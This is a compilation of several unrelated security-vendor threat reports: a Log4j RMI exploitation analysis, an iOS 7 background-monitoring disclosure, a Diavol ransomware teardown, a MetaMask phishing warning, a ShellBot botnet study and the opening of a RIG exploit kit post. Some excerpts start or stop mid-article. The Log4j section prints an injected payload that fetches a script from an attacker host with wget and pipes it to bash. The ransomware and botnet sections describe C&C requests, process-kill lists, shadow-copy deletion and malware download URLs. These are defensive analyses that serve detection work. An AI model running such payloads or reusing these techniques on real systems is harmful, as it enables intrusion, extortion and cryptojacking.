RMI operations are subject to additional checks and constraints by a Java security manager .
However, as discussed in a 2016 Black Hat presentation , some JVM versions do not apply the same restrictions and policies to JNDI.
In the present attack, the caller is running a vulnerable version of Log4j and the attacker’s server is running RMI.
Below is a diagram showing how the attack unfolds.
From here, we will describe each step in detail.
Figure 1.
Log4j RMI attack overview As in many other Log4j attacks, an exploit string is inserted into the request’s User-Agent field, where it will be processed by Log4j.
This time, however, the exploit string references an RMI service rather than an LDAP service.
Figure 2.
HTTP POST request with Log4j exploit.
As seen in this packet capture, Log4j evaluates the contents of the ${…} string and generates a call to the attacker-controlled RMI service, which returns Java code that will be executed on the targeted machine: Figure 3.
Packet capture of Java code returned by the malicious RMI service In this attack, the injected code is: .getClass().forName(\"javax.script.
ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.
Runtime.getRuntime().exec('bash
-c $@|bash .
wget -qO- http://192 [ . ]
99.152.200/ ')
\") This code invokes a bash shell command via the JavaScript scripting engine, using the construction “$@|bash” to execute the downloaded script.
During execution of this command, the bash shell will pipe the attacker’s commands to another bash process: “wget -qO- url | bash”, which downloads and executes a shell script on the target machine.
This shell script begins with comments taunting security researchers: Figure 5.
Shell script downloaded and executed by the attacker This obfuscated script downloads a randomly named file of the form n .png, where n is a number between 0 and 7.
Despite the purported file extension, this is actually a Monero cryptominer binary compiled for x84_64 Linux targets.
The full script also adds persistence via the cron subsystem.
A different attack, also detected by Juniper Threat Labs, tries both RMI and LDAP services in the same HTTP POST request in hopes that at least one will work.
The LDAP injection string is sent as part of the POST command body.
An exploit string in the POST body which is unlikely to succeed given most applications do not log the post body, which can be binary or very large, but by tagging the string as “username” in the JSON body, the attackers hope to exploit applications that will treat this request as a login attempt and log the failure.
Figure 4.
Another HTTP POST request with Log4j/RMI attack Juniper Threat Labs continues to monitor attacks related to the Log4j vulnerability and add mitigations and protections across the suite of Juniper Networks security products.
IDP signatures are being continuously updated based on variations, like the ones produced by this obfuscator tool on GitHub at: https://github.com/woodpecker-appstore/log4j-payload-generator .
IOCs:
7e81fc39bcc8e92a4f0c1296d38df6a10353bbe479e11e2a99a256f670aae392 c56860f50a23082849b6f06fb769f02d2a90753aa8e9397015d8df991c961644 07a3ba85d77fa2337b86266c9a615ec696b0e5c8986edccc61fa9ba6436a3639 429aeec0165384dd061456ce49fa0039229f7c464edffd62aabd6d1fbdf068f3 Attackers IPs: 82[.
]102.25.253 185[.
]189.160.200 144[.
]48.38.174 203[.
]27.106.166 Monero pools: 192[.
]99.152.200 212[.
]47.237.67
[2001[:]bc8:608:e01::1] [2607[:]5300:201:3100::6944]
Background monitoring mobile applications has become a hot topic on mobile devices.
Existing reports show that such monitoring can be conducted on jailbroken iOS devices.
FireEye mobile security researchers have discovered such vulnerability, and found approaches to bypass Apple's app review process effectively and exploit non-jailbroken iOS 7 successfully.
We have been collaborating with Apple on this issue.
Fig.1 Background Monitoring We have created a proof-of-concept \"monitoring\" app on non-jailbroken iOS 7.0.x devices.
This “monitoring” app can record all the user touch/press events in the background, including, touches on the screen, home button press, volume button press, and TouchID press, and then this app can send all user events to any remote server, as shown in Fig.1.
Potential attackers can use such information to reconstruct every character the victim inputs.
Note that the demo exploits the latest 7.0.4 version of iOS system on a non-jailbroken iPhone 5s device successfully.
We have verified that the same vulnerability also exists in iOS versions 7.0.5, 7.0.6, and 6.1.x.
Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring.
Fig.2 Background App Refresh
Settings Fig.3 Killing An App on iOS7 iOS7 provides settings for \"background app refresh\".
Disabling unnecessary app's background refreshing contributes to preventing the potential background monitoring.
However, it can be bypassed.
For example, an app can play music in the background without turning on its \"background app refresh\" switch.
Thus a malicious app can disguise itself as a music app to conduct background monitoring.
Before Apple fixes this issue, the only way for iOS users to avoid this security risk is to use the iOS task manager to stop the apps from running in the background to prevent potential background monitoring.
iOS7 users can press the Home button twice to enter the task manager and see preview screens of apps opened, and then swipe an app up and out of preview to disable unnecessary or suspicious applications running on the background, as shown in Fig.3.
We conducted this research independently before we were aware of this recent report .
We hope this blog could help users understand and mitigate this threat further.
Acknowledgement: Special thanks to Jari Salomaa for his valuable comments and feedback.
We also thank Raymond Wei, Dawn Song, and Zheng Bu for their valuable help on writing this blog.
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FortiGuard Labs Threat Research Report Affected Platforms: Windows Impact: Data encryption, Data destruction Threat Severity:
Critical Diavol Introduction
At the beginning of June, FortiEDR prevented a ransomware attack that had targeted one of our customers.
After successfully stopping the attack, we were able to isolate two suspicious files that, at the time, were not found on VirusTotal: locker.exe and locker64.dll .
In the timeline of the attack, locker.exe was deployed a day before locker64.dll.
While we were able to identify locker64.dll to be a Conti (v3) ransomware, locker.exe appeared to be entirely different.
So, let’s say hello to a new ransomware family.
In this blog, we’ll dive into the inner workings of Diavol and its possible attribution to the criminal group known as Wizard Spider.
First Encounter with Diavol The ransomware drops a ransom note in a text format in every folder it goes over, as can be seen in figure 1.
According to the note, the authors claim they stole data from the victim’s machine, though we did not find a sample that was capable of performing that.
This is either a bluff or a placeholder for future capabilities.
Browsing to the URL led to us a website, seen in figures 2 and 3, from which we derived the name for the ransomware.
As part of a rather unique encryption procedure, Diavol operates using user-mode Asynchronous Procedure Calls (APCs) without a symmetric encryption algorithm.
Usually, ransomware authors aim to complete the encryption operation in the shortest amount of time.
Asymmetric encryption algorithms are not the obvious choice as they significantly slower than symmetric algorithms.
Technical Analysis locker.exe is a 32-bit executable compiled with Microsoft Visual C/C++ Compiler.
The timestamp 2021-04-30 15:58:15 on the file supports the hypothesis that this ransomware is relatively new.
Upon execution, Diavol starts by checking the command line arguments: \" -p \": path to a file with a list of paths to scan first for files.
\" -log \": path to a log file.
\" -m \": mode: net or local .
net - encrypt network shares only.
local - encrypt local drives only and ignore network shares.
\" -h \": path to a file that contains specific hosts (names and IPs) to enumerate for shares.
\" -s \": IP address that the initial register message will be sent to.
Overrides the hardcoded address.
The following command-line parameters were observed in the incident: -p \"C:\\b.txt\" -m local -log \"C:\\programdata\\log.txt\" The log file lists files that were encrypted.
The authors didn’t remove the path to the debugging information file, unfortunately it didn’t divulge sensitive or incriminating details about the ransomware authors:
D:\\Development\\Master\\onion\\locker.divided\\LockMainDIB\\Release\\LockMainDIB.pdb While Diavol is not packed nor has any anti-disassembly tricks, it does use an interesting anti-analysis technique to obfuscate its code.
Its main routines are kept in bitmap images, which are stored in the PE resource section.
Before calling each routine, it copies the bytes from the bitmap to a global buffer that has execute permissions.
The imports used by each routine are also stored in the resource section under \" OFFSET \", with the same names as the bitmaps.
Diavol has 14 different routines stored as bitmaps.
They are called in the following order: · Create an identifier for the victim: The GENBOTID routine creates a unique identifier of the infected machine.
It is composed of the following: <NetBIOS_computer_name> + <username> + “_W” + <OS major version in hex> + <OS minor version in hex> + <OS build number in hex> + “.”
+ <random_GUID_bytes in hex> ·
Initialize configuration:
The SHAPELISTS routine copy the hardcoded configuration from the PE’s .data section.
The configuration begins with the “ STATIC_DATA ” string and holds many unicode strings: - Base64 encoded RSA public key.
- Server address for the initial registration.
- Group ID for the initial registration.
- List of excluded file extensions, file names and paths.
- List of process names to terminate.
- List of service names to stop.
- List of paths to enumerate files.
- List of filenames to delete.
- Ransom note (in reverse).
·
Register with the C&C server and update configuration:
The REGISTER payload uses the WinINet API to send a request to a server and returns the response status code.
Diavol issues the C&C server a POST request to the hxxp://<server_address>/BnpOnspQwtjCA/register URL with the following headers: User-Agent: \"Agent\" Content-Type: application/x-www-form-urlencoded; charset=UTF-8
The body of the request is : cid=<unique_victim_id>&group=<group_id_from_config>ip_local1=111.111.111.111&ip_local2=222.222.222.222&ip_external=2.16.7.12
If the server returns status success, the ransomware will attempt to get an updated configuration from the C&C server.
Since the “ -s ” command-line parameter was not provided, and as the configured address is 127.0.0.1 (localhost), the ransomware didn’t register itself or retrieve configuration updates.
The FROMNET routine sends a request to the server using the WinINet API as well and returns the data from the response.
To get an updated configuration and override the hardcoded values, the ransomware sends HTTP GET requests using the same headers as before, to: hxxp://173[.]232[.]146[.
]118/Bnyar8RsK04ug/<unique_victim_id>/qqq123/<object_name>
The following objects are supported: - /key - base64 encoded RSA public key.
- /services - list of services to stop.
- /priority - list of paths to scan for files for the first time.
- /ignore - list of file extensions, filenames and paths to exclude.
- /ext - list of file extensions to include.
- /wipe - list of filenames to delete if they are found while enumerating the filesystem.
- /landing - ransomware note.
Inspecting the network traffic to 173.232.146.118 showed that the HTTP Cookie header contains the string “ diavol_session ”.
·
Stop services and processes: To maximize its effect on the target machine and to encrypt as many files as possible, the ransomware terminates running processes that can lock access to valuable files, such as databases, office applications, financial\\accounting software, web servers, and virtual machines.
SERVPROC terminates services using the Service Control Manager (SCM) API.
This API requires administrator permissions, which suggests the attackers are aware of this requirement and have taken appropriate steps beforehand.
The sample attempts to stop the following services: sqlservr.exe , sqlmangr.exe , RAgui.exe , QBCFMonitorService.exe , supervise.exe , fdhost.exe , Culture.exe , RTVscan.exe , Defwatch.exe , wxServerView.exe , sqlbrowser.exe , winword.exe , GDscan.exe , QBW32.exe , QBDBMgr.exe , qbupdate.exe,axlbridge.exe , 360se.exe , 360doctor.exe , QBIDPService.exe , wxServer.exe , httpd.exe , fdlauncher.exe , MsDtSrvr.exe , tomcat6.exe , java.exe , wdswfsafe.exe .
In addition, the malware developers don’t check to see if the API calls are successful.
KILLPR use CreateToolhelp32Snapshot , Process32First and Process32Next APIs to enumerate the running processes in the system.
The sample attempts to terminate the following list of processes: DefWatch , ccEvtMgr , ccSetMgr , SavRoam , dbsrv12 , sqlservr , sqlagent , Intuit.
QuickBooks.
FCS , dbeng8 , sqladhlp , QBIDPService , Culserver , RTVscan , vmware-usbarbitator64 , vmware-converter , VMAuthdService , VMnetDHCP , VMUSBArbService , VMwareHostd , sqlbrowser , SQLADHLP , sqlwriter , msmdsrv , tomcat6 , QBCFMonitorServicechrome.exe , outlook.exe , chrome.exe .
The authors of Diavol made some mistakes in their hardcoded configuration.
For starters, SERVPROC gets the list of the process names to terminate instead of service names to stop, and vice versa.
The services list appears to include items that have nothing to do with services, like \"winword.exe\".
In the processes list, only the last three items look like actual process names, while even one of them is wrong (\" QBCFMonitorServicechrome.exe \" looks like a concatenation of “ QBCFMonitorService ” and “ chrome.exe ”).
·
Initialize encryption key: RSAINIT initializes the RSA public key used for encryption with the standard WinCrypt API.
· Find all drives to encrypt: ENMDSKS gets all the local drives in the system using GetLogicalDriveStrings API and checks to ensure they are not in the exclusions list.
This routine will be skipped if the mode command-line parameter (“ -m ”) is set to “net”.
The default list of the excluded file extensions, file names and paths is: *.exe , *.sys ,
*.dll ,
*.lock64 ,
*readme_for_decrypt.txt , *locker.txt , *unlocker.txt , %WINDIR%\\ , %PROGRAMFILES%\\ , %PROGRAMW6432%\\ , %TEMP%\\ SMBFAST and SMB routines enumerate available network shares for access.
SMBFAST will only be called if the “-h” parameter is present.
This routine scans for accessible network shares on specific hosts.
SMB scans for accessible network shares on hosts found in the ARP table.
Note that this routine will be skipped if the mode command-line parameter (“ -m ”) is set to “local”.
·
Find files to encrypt: FINDFILES traverses the file and directories in a given path.
This routine is invoked multiple times: -
Depending on the “-p” command-line or hardcoded configuration.
-
According to ENMDSKS results.
-
According to SMBFAST results.
-
According to SMB results.
First, the routine checks to see if the given file or folder is not in the exclusion list.
Then the routine determines whether the current item is in the list of files to delete.
If not, it queues an APC on the current thread that gets the path to the item as an argument.
·
Prevent recovery by deleting shadow copies: VSSMOD drops and executes wscpy.exe in the current working directory, depending on the OS version (Windows Server 2003 or Vista and newer) and architecture (32 or 64-bit).
Deleting the shadow copies snapshots is performed using the IVssBackupComponents COM object to call the DeleteSnapshots method.
The dropped binaries are also kept in plaintext in the resource section under \" TEXT ”.
These binaries contained a PDB reference source file that was used to compile the malware binary: D:\\Projects\\Repository\\LockCry.divided\\WipeShadowCopies64\\RelNoCRT\\WipeShadowCopies64.pdb D:\\Projects\\Repository\\LockCry.divided\\WipeShadowCopies64\\x64\\RelNoCRT\\WipeShadowCopies64.pdb D:\\Development\\Master\\onion\\locker.divided\\WipeShadowCopies64\\RelNoCRT_Win2003\\WipeShadowStorageWin2003_32.pdb D:\\Development\\Master\\onion\\locker.divided\\WipeShadowCopies64\\x64\\RelNoCRT_Win2003\\WipeShadowStorageWin2003_64.pdb · Encryption: As mentioned before, FINDFILES will queue an APC object with a file or directory path.
For the APC to get executed, the main function calls SleepEx API in its final steps to set the thread to an alertable state.
The APC routine checks if the argument is directory and will create the “ README_FOR_DECRYPT.txt ” ransom note regardless of whether the files in the directory were encrypted.
If the argument is a file, the ENCDEFILE routine will be called.
Unlike most other ransomwares, Diavol does not use any symmetric encryption but only RSA to encrypt the files.
ENCDEFILE checks the file size.
If it is less than 2,000,000 bytes, then only up to the first 11,700 bytes will be encrypted.
If the file size is equal or greater than 2,000,000 bytes, then just the first 1,170,000 bytes will be encrypted.
Each block of 11,700 bytes is split into ten chunks of 117 bytes each, and each chunk is encrypted using CryptEncrypt API.
117 plaintext bytes then become 128 bytes of ciphertext.
Therefore, 11,700 bytes become 12,800 bytes following the encryption.
Diavol overwrites the file and writes 11,700 encrypted bytes at the chunk’s original offset and appends the 1,100 remaining bytes to the end of the file.
Finally, ENCDEFILE calls MoveFile API and appends a “ .lock64 ” extension to the filename.
Once all APCs are dequeued and completed, the thread returns following the call to SleepEx .
·
Change the desktop wallpaper : Before the process terminates, CHNGDESK is invoked.
First, it captures the desktop window and sets the background color to black.
It then writes \" All your files are encrypted!
For more information see “README-FOR-DECRYPT.txt \" with DrawText API to a bitmap image and saves it as \" encr.bmp \" in the public pictures folder.
Finally, it changes the desktop wallpaper to the new image using the SystemParametersInfo API with the SPI_SETDESKWALLPAPER flag.
Connections to Conti and Egregor As Diavol was deployed in conjunction with the Conti ransomware in this attack, albeit on different machines, we tried to see if there’s any correlation between them.
Starting with the command-line parameters, the ones used by Diavol are nearly identical to those of Conti and used for the same functionality: log file, encrypt local drives or network shares, and scan specific hosts for network shares.
In addition, Diavol and Conti both operate similarly with asynchronous I/O operations when queuing the file paths for encryption.
There also might be a link between Diavol and Egregor ransomware.
Some lines in the ransom note are identical, as can be seen in figure 12, although this is not reliable as it could simply be a red herring that Diavol’s authors planted.
Some have reported a link between Wizard Spider, the threat actor behind Conti, and Twisted Spider, the threat actor behind Egregor.
Allegedly, these gangs cooperate on various operations.
They are also both notoriously known for double ransoming their victims (data theft and encryption).
Summary
In this blog, we presented a complete analysis of the new ransomware family - Diavol.
Currently, the source of the intrusion is unknown.
The parameters used by the attackers, along with the errors in the hardcoded configuration, hint to the fact that Diavol is a new tool in the arsenal of its operators which they are not yet fully accustomed to.
As the attack progressed, we found more Conti payloads named locker.exe in the network, strengthening the possibility the threat actor is indeed Wizard Spider.
Despite a few similarities between Diavol, Conti, and other related ransomware, it’s still unclear, however, whether there’s a direct link between them.
And, there are a couple of major differences from attacks previously attributed to Wizard Spider & Co., namely: - No checks and balances to ensure the payload will not execute on Russian victims.
- No clear evidence of double extortion in the environment was found.
Fortinet Solutions FortiEDR detects and blocks the Diavol and Conti ransomwares attacks out-of-the-box without any prior knowledge or special configuration.
It does this using its post-execution prevention engine to identify malicious activities, such as encrypting files or wiping the shadow copy, and then blocking them in real-time, as can be seen in figures 13 and 14:
The FortiGuard AntiVirus service is supported by, and the FortiGuard AntiVirus engine is included in Fortinet’s FortiGate , FortiMail, FortiClient , and FortiEDR solutions.
FortiGuard AntiVirus has coverage in place for the following samples: 85ec7f5ec91adf7c104c7e116511ac5e7945bcf4a8fdecdcc581e97d8525c5ac (Diavol, locker.exe) W32/Malicious_Behavior.
VEX 426ba2acf51641fb23c2efe686ad31d6398c3dd25c2c62f6ba0621455a3f7178 (Conti v3, locker64.dll) W64/BazarLoader.
AD!tr 4bfd58d4e4a6fe5e91b408bc190a24d352124902085f9c2da948ad7d79b72618 (Conti, locker.exe) W32/Conti.
F!tr.ransom All network IOCs have been added to the FortiGuard WebFiltering blocklist.
In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real time with other Alliance members to help create better protections for customers.
Appendix A: MITRE ATT&CK Techniques ID Description T1027 Obfuscated Files or Information T1082 System Information Discovery T1071.001 Application Layer Protocol: Web Protocols T1489 Service Stop T1562.001 Impair Defenses: Disable or Modify Tools T1135 Network Share Discovery T1490 Inhibit System Recovery T1559.001 Inter-Process Communication: Component Object Model T1486 Data Encrypted for Impact T1485 Data Destruction Appendix B: IOCs File Hashes (SHA256) 85ec7f5ec91adf7c104c7e116511ac5e7945bcf4a8fdecdcc581e97d8525c5ac (Diavol, locker.exe) 426ba2acf51641fb23c2efe686ad31d6398c3dd25c2c62f6ba0621455a3f7178 (Conti v3, locker64.dll) 4bfd58d4e4a6fe5e91b408bc190a24d352124902085f9c2da948ad7d79b72618 (Conti, locker.exe)
File Names locker.exe locker64.dll wscpy.exe encr.bmp README_FOR_DECRYPT.txt File Paths %
PUBLIC%\\Pictures\\encr.bmp IPs 173[.]232[.]146[.
]118 URLs hxxp://<server_address>//BnpOnspQwtjCA/register hxxp://173[.]232[.]146[.
]118/Bnyar8RsK04ug/ Domains r2gttyb5vqu6swf5[.
]onion Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
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Cryptocurrency scams have long been around.
In the hope of getting hold of cryptocurrency in others’ accounts, cybercriminals tempt victims with free transfers , bitcoin giveaways , other people’s credentials and scarce mining equipment .
Today we look at another fraudulent scheme, this time targeting owners of MetaMask cryptowallets.
What is MetaMask?
MetaMask is a wallet for the Ethereum blockchain that supports all types of tokens based on it (both regular and non-fungible ones, aka NFTs).
The wallet works as an extension for Google Chrome, Firefox, Microsoft Edge and Brave desktop browsers, and there are also apps for iOS and Android.
MetaMask can be used to make purchases and create and monetize content on a decentralized network.
As with similar wallets, access is secured by a user password created at registration, and an app-generated private key consisting of 64 alphanumerical characters, plus a seed phrase — a series of 12 (less often 24) words.
And whereas nearly all cryptowallet owners understand that the password and private key must not be shared with anyone, some, especially cryptocurrency newbies, underestimate the need to keep the seed phrase secret.
Keep in mind however that the seed phrase is essentially a verbal representation of the private key, allowing you to restore access to the account.
In other words, if someone gets hold of your seed phrase, they will be able to log in to your account and get their hands on your cryptocurrency.
Hence the interest on the part of scammers.
E-mail threatening to block your account
The scam starts with a mass e-mail that exploits one of the favorite psychological tricks of cybercriminals: intimidation.
Victims are threatened that if they do not urgently verify their MetaMask account, it will be suspended.
To make the message appear more convincing, the cybercriminals add the company’s name and logo, and indicate its support service as the sender.
Suspicion is raised only by taking a closer look at the address the e-mail came from.
The scammers ask the victim to verify their account
The first sign it’s a fake is the typo in the company name in the e-mail address (metamasks instead of metamask).
Another red flag is the domain, (the part of the address after the @ symbol).
Respectable companies usually use their name as the domain, for example, account-security-noreply@microsoft.com.
In this case, however, the domain has no relation at all to MetaMask.
Lastly, .de indicates that the address is registered in Germany, which is also strange, since MetaMask is an American company.
To verify the account, the scammers prompt their victim to follow a link in the e-mail.
This, too, does not inspire confidence: the incorrect domain with extra words and the names of foreign brands clearly suggest something is wrong with the message.
Enter the seed If the victim fails to spot these tell-tale signs and still follows the link, they are taken to a fake login page that resembles the official MetaMask website.
The victim is asked to enter their wallet seed phrase The scammers prompt the victim to enter their seed phrase into the form, supposedly to unlock the wallet.
If the user is taken in and enters the secret phrase, they are redirected to the real MetaMask site, however, their wallet is now in cybercriminal hands.
How to protect your wallet Attackers are constantly coming up with new and increasingly sophisticated ways of defrauding cryptoinvestors.
However, most scams have common signs that give them away.
And to guard against intruders, it’s usually enough to follow these simple security rules: Be wary of e-mails and messages asking for payment or threatening to block an account, or, on the contrary, offering a get-rich-quick scheme.
Pay attention to the sender’s address.
If the company’s name is spelled incorrectly, or the domain is just a set of random characters, it’s almost certainly a scam.
Treat data and credentials used to access your account and money with extreme care.
Learn how the cryptowallet security system works, what information the support service may require from you, and what you should never share with anyone.
Use a reliable solution with protection against online fraud and phishing to help keep your money safe from all sorts of scam.
IBM Security X-Force researchers studied the botnet activity of a malware variant that is used by cyber crime groups to illegally mine cryptocurrency.
Examining two ShellBot botnets that appeared in attacks honeypots caught, the X-Force team was able to infect its own devices and become part of the live botnets, thereby gaining insight into how these botnets were managed internally.
This post provides the details on IBM’s research and sheds light on the growing threat of cryptomining botnets to enterprise networks.
While seeing computational resources abused by cryptojacking operations is enough of a problem, the riskier consequence of the infection is that malware begets malware.
A seemingly simplistic infection is still a foothold that can result in more sophisticated malware on the network down the line, which may end up exfiltrating data and even installing ransomware to extort the organization later on.
Cryptojacking Is the Name of ShellBot’s Game With the exponential rise in the value of cryptocurrency, cybercrime endeavors based on these digital coins have been rising as well.
Aside from the devastating rise of ransomware attacks, the illegal mining of cryptocurrency on devices one does not own, aka cryptojacking, has become a commercial grade threat used in the hands of lone criminals and organized groups alike.
In some cases, cryptojacking operations that keep mining farms processing coins reached the magnitude of a $50 million business for their bot masters.
The ShellBot malware lives within this ecosystem.
While it is a rather simple piece of Perl-based code, it enables attackers to mount internet relay chat (IRC)-controlled botnets that command coin mining on computers, Linux servers, Android devices and Internet of Things devices.
The one requirement is having a weak password, as ShellBot’s typical entry point is a brute-force attack; the other is a command injection on servers that accept remote commands from the command-line interface (CLI).
While it started out as a basic IRC bot, over time ShellBot has been using effective exploits to compromise servers and devices.
It started out with a ShellShock (CVE-2014-6271) campaign, which is how it got its name, but over the years has used Drupalgeddon (CVE-2018-7600) and other exploits that can compromise large swaths of devices.
ShellBot has also been evolving its features to better spread through networks and disable competing infections to ensure all the computing power is used for its own goals.
ShellBot’s objective, in most cases, is mining for Monero coin.
Brute-Forcing a Way In ShellBot infections typically use brute-force attacks to guess the passwords of targeted servers and devices.
In the botnets IBM X-Force examined, the most frequently used credential types helped identify the targets as misconfigured databases, FTP-servers, monitoring servers and other Linux machines.
By far the most frequent username for which the password was brute-forced was ‘root,’ followed by standard or default username strings such as ‘ubuntu’, ‘admin’, ‘user’ and ‘test’.
There were also some standard database-type credentials such as ‘oracle’, ‘postgres’ or ‘mysql’.
Figure 1:
The top username types used in ShellBot attacks (Source: IBM X-Force)
Botnet logs also showed the top passwords the malware managed to guess.
Unfortunately for the targeted device owners, it was rather easy to figure out simple and default passwords.
Figure 2:
The top weak passwords used in ShellBot attacks (Source: IBM X-Force)
ShellBot campaigns logged in IBM’s spam traps focused on verified ShellBot instances and ShellBot tactics, techniques and procedures (TTPs) that also launch a Perl-based payload.
IBM X-Force saw quite a bit of activity every month, as shown in the figure below.
Figure 3: ShellBot activity by month, January to June 2021 (Source: IBM X-Force) Infect and Control ShellBot is dropped as a payload to systems and devices where a password was brute-forced.
Immediately after a successful login, the infected machine/device receives a list of commands to execute; those include sending back system information, downloading and executing a PERL script, removing logs, removing the command history and deleting the payload itself.
Each ShellBot variant connected with a different botnet over an IRC channel.
To get into the botnet, IBM infected some devices and followed the activity.
The ‘Blackcat’ Server At the time of joining a server that was named Blackcat, the channel consisted of close to a hundred active bots and was about four months old.
The channel itself was only used by the operator to address single or multiple machines, to which they would respond in a private chat.
Reconnaissance commands were regularly issued to the bots, with the goal of collecting information that would allow the botnet’s operators to zero in on valuable assets.
The information the attackers looked for was root access, CPU and GPU information and system architecture (ARMV, etc.)
Most notably, the Blackcat botnet operators were eager to find machines with NVIDIA GPUs , which is a graphic processing unit with higher compute power that translates into faster mining.
Once the server’s operators get the information on the system’s CPU/GPU, they group the bots in different channels accordingly.
Figure 4:
Operators probing for GPU info and sorting bots into #nvidia channel After sorting machines based on their mining capabilities, the operators would go on to download and execute a new ShellBot Perl script on those machines.
The ‘pola’ version contained new IRC parameters, forcing the bots to join a different IRC server, which appeared like the operators were migrating active bots to a different network.
Figure 5:
Operators deploying secondary malware with different IRC parameters to move bots to Pola server Graduating to the Pola Server
The operation X-Force tracked was probably rather fresh.
When the researchers followed the migrated bots to the Pola server, they noticed that it was created that very same day.
It already contained 143 bots, which were most likely migrated from other channels.
Within the next day, the number of bots doubled, suggesting that there must have been additional servers like Blackcat moving higher value bots to the Pola server.
Once on the Pola server, the filtering for higher value bots continued and a third payload — miner3.tgz — was deployed to the selected bots in a series of commands launched by the botnet’s operators.
The process begins with the removal of previous versions of the ShellBot malware and those of other cryptominers that might be resident on the machine/device.
Once the machine is clean of potential rivals, the operators go on to install their own miner.
An archive is then unpacked into a .cache directory, in which the script .x is executed.
This launches XMRig as well as XHide (process hider) on the infected machine.
Figure 6:
Cryptominer download #Armv – the DDoS Channel Botnets of all types, and especially those that command infected devices, are often used for distributed denial-of-service (DDoS) attacks.
With a simple command, operators order the bots to browse to the target website and attempt to flood it with traffic and cause a denial of service.
The botnets had a channel for bots that took part in DDoS attacks.
The floods lasted 500 seconds each and did not appear very powerful.
It is possible that the channel had a few low-value devices on it or was used as a testing ground.
OpSec by Segmentation From the way bots are filtered, moved to other botnets and run new malware versions, it can be inferred that there is some sort of tiered segmentation.
Conversations found on the server are proof that trading bots among operators are rather common, which explains how botnets can double in size quickly.
The benefit of tiered segmentation is that it makes it very hard to find IRC server information on Tier 2 servers and higher, since these are only deployed by Tier 1 operators.
The only way to join a Tier 3 botnet would be to be moved up the chain and follow the newly deployed Perl scripts.
Along the way, it becomes much easier for the different botnet operators to filter out research bots, increasing the security of the operation.
Attribution ShellBot is publicly available code, so it is harder to attribute it to any one group.
Often, botnets using widespread code can be used by anyone, but they can see more meaningful activity from specific actors and groups.
Links to Romanian-Speaking Operators What IBM found throughout its research, especially during the infiltration of IRC servers, are clues to an operation being managed by Romanian-speaking bot masters.
For one, X-Force found Perl scripts stating flood.ro as the author, and some instances of ShellBot were hosted on a Romanian news site.
The Perl scripts further linked to Romanian-speakers’ IRC channels on multiple servers.
One of the operators used the Romanian hostname blackcat.ro on IRC.
All threat actors conversing in the channels were fluent in Romanian.
These links to Romania line up with threat intelligence on ShellBot by other security researchers in the past few years.
Links to the Outlaw Gang
The Romanian threat group tracked as Outlaw, which was identified in 2018, has been observed to use ShellBot to target different organizations.
After comparing data from IBM’s own research with TTPs from previously reported Outlaw attacks, X-Force found similarities in the threat actors’ TTPs to those in the Blackcat and Pola servers.
A screenshot of the Perl script had previously appeared in an article by TrendMicro and is identical to one of the samples used for the infections in the cases IBM saw.
Another identical script is the Pola script applied to bots that graduated the Blackcat server.
A malware analysis conducted by Yoroi on a 2020 Outlaw campaign mentions the same bash scripts, run and upd, which X-Force found in the cryptominers distributed on the Pola server.
Lastly, TrendMicro published an article on Outlaw campaigns, which discovered the use of an old process hider, XHide, to mask the mining process XMrig.
The hash of the XHide binaries, h32 and h64, contained in the cryptominer matched up to the ones used in one of the Outlaw campaigns.
Is this evidence that the servers IBM infiltrated were associated with the Outlaw group itself?
It’s possible, and it’s also plausible that other threat actors in this space copied the TTPs or bought the scripts from someone else.
Mitigating the Risk of Cryptojacking Malware Cryptojacking malware can be an insidious and long-term attack that’s often hard to detect but can be damaging in a number of ways: impaired server performance, accumulation of electricity costs and overheating devices, to name a few.
What puts companies at greater risk is the residence of malware on networked assets and devices, which can allow attackers to strengthen their foothold down the line.
That risk can become any other type of attack given the time and the motivation of the attackers.
In order to minimize the risk of a ShellBot infection, it is vital to properly configure all public-facing devices with strong credentials and ensure that logging is in place.
For servers that can be accessed remotely, it is wise to add multifactor authentication and disable the option to run CLI commands remotely if that is a requirement the business needs.
In addition, all outbound IRC traffic should be monitored or entirely blocked, as this may be an indicator of a ShellBot infection and potential data exfiltration that is not related to business needs.
Network system monitoring should be implemented to detect excessive resource utilization and users should be educated about the risk and signs of cryptojacking on their devices.
Indicators of Compromise IRC servers: Blackcat: 128.199.111.21 Same operator as on Blackcat: 68.183.180.36, 159.203.14.2 Pola: 159.89.7.123 Pola script download: hxxp://209.97.132.66/pola XMRig
download: hxxp://162.243.166.183/miner3.tgz Recent Shellbot attacks detected on IBM’s honeypots: Attacker IPs (brute-forcing): 5.181.80.157 14/06/2021 193.232.68.71 12/06/2021 195.203.90.161 02/06/2021 142.93.169.146 16/05/2021 162.144.233.29 15/042021
Shellbot download URLs hxxp://51.38.105.98/a
hxxp://5.253.86.50/div hxxps://gsmboss.clan.su/zn.jpg hxxp://142.93.127.16/wp-includes/images/media/.x/px.txt hxxp://58.135.80.99/a/div
Introduction Through FireEye Dynamic Threat Intelligence (DTI), we observed RIG Exploit Kit (EK) delivering a dropper that leverages the PROPagate injection technique to inject code that downloads and executes a Monero miner (similar activity has been reported by Trend Micro ).
Apart from leveraging a relatively lesser known injection technique, the attack chain has some other interesting properties that we will touch on in this blog post.
Attack Chain
The attack chain starts when the user visits a compromised website that loads the RIG EK landing page in an iframe.
The RIG EK uses various techniques to deliver the NSIS (Nullsoft Scriptable Install System) loader, which leverages the PROPagate injection technique to inject shellcode into explorer.exe.
This shellcode executes the next payload, which downloads and executes the Monero miner.
The flow chart for the attack chain is shown in Figure 1.
Figure 1: Attack chain flow chart Exploit Kit Analysis When the user visits a compromised site that is injected with an iframe, the iframe loads the landing page.
The iframe injected into a compromised website is shown in Figure 2.
Figure 2:
Injected iframe
The landing page contains three different JavaScripts snippets, each of which uses a different technique to deliver the payload.
Each of these are not new techniques, so we will only be giving a brief overview of each one in this post.
JavaScript 1
The first JavaScript has a function, fa, which returns a VBScript that will be executed using the execScript function, as shown by the code in Figure 3.
Figure 3:
JavaScript 1 code snippet The VBScript exploits CVE-2016-0189 which allows it to download the payload and execute it using the code snippet seen in Figure 4.
Figure 4: VBScript code snippet JavaScript 2 The second JavaScript contains a function that will retrieve additional JavaScript code and append this script code to the HTML page using the code snippet seen in Figure 5.
